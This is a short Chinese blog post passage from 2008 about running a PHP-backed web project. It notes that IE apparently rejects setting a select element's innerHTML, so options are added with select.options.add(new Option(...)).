工程运行:http server with php supported
ubuntu firefox下测试通过


其他:
不知道是不是ie的bug,居然不支持 select.innerHTML = value的方式
只能通过select.options.add(new Option("content","value") 动态往select中添加选项。

posted @ 2008-09-21 19:05 stone2083 阅读(1902) | 评论 (2)编辑 收藏